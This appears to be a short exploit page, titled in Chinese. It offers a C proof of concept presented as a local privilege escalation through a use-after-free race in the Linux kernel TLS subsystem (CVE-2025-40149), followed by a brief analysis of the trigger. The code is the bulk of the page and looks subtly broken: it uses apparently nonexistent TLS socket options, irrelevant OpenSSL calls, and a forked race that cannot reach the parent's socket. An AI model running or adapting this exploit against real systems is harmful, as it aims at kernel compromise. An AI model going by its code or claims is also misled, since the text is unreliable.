CVE-2025-40149 Linux内核TLS子系统get_netdev_for_sock函数UAF漏洞

// CVE-2025-40149 PoC - Local Privilege Escalation via TLS setsockopt UAF // This is a conceptual PoC demonstrating the vulnerability trigger condition // Compile: gcc -o cve202540149_poc cve202540149_poc.c -lssl -lcrypto #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <openssl/ssl.h> #include <openssl/err.h> #define TLS_VERSION TLS1_2_VERSION int main() { int sock_fd; SSL_CTX *ctx; SSL *ssl; struct sockaddr_in server_addr; printf("[*] CVE-2025-40149 PoC - TLS get_netdev_for_sock UAF\n"); printf("[*] Target: Linux Kernel TLS subsystem\n"); // Initialize OpenSSL SSL_library_init(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); // Create SSL context ctx = SSL_CTX_new(TLS_client_method()); if (!ctx) { fprintf(stderr, "[-] Failed to create SSL context\n"); return 1; } // Create socket sock_fd = socket(AF_INET, SOCK_STREAM, 0); if (sock_fd < 0) { perror("[-] socket failed"); return 1; } // Setup connection memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(443); inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr); // Connect to server if (connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { printf("[*] Connection not required for trigger\n"); } // Create SSL object and associate with socket ssl = SSL_new(ctx); SSL_set_fd(ssl, sock_fd); // Trigger vulnerability: Call setsockopt with TLS options // This will invoke get_netdev_for_sock() outside RCU protection int optval = 1; socklen_t optlen = sizeof(optval); printf("[*] Triggering setsockopt() with TLS cipher settings...\n"); // Race condition trigger via repeated setsockopt calls pid_t pid = fork(); if (pid == 0) { // Child process: Rapidly close/reopen socket for (int i = 0; i < 1000; i++) { close(sock_fd); sock_fd = socket(AF_INET, SOCK_STREAM, 0); usleep(100); } exit(0); } else { // Parent process: Call setsockopt repeatedly for (int i = 0; i < 1000; i++) { setsockopt(sock_fd, IPPROTO_TLS, TLS_CIPHER_PARAMS, &optval, optlen); } wait(NULL); } printf("[!] If kernel is vulnerable, may cause crash or privilege escalation\n"); // Cleanup SSL_shutdown(ssl); SSL_free(ssl); SSL_CTX_free(ctx); close(sock_fd); return 0; } /* Vulnerability Trigger Analysis: 1. The vulnerability exists in get_netdev_for_sock() called during setsockopt() 2. setsockopt() execution path is NOT under RCU protection 3. sk_dst_get(sk)->dev access can trigger UAF when dst_entry is freed 4. Race condition between setsockopt and socket closure 5. Successful exploitation requires winning the race condition */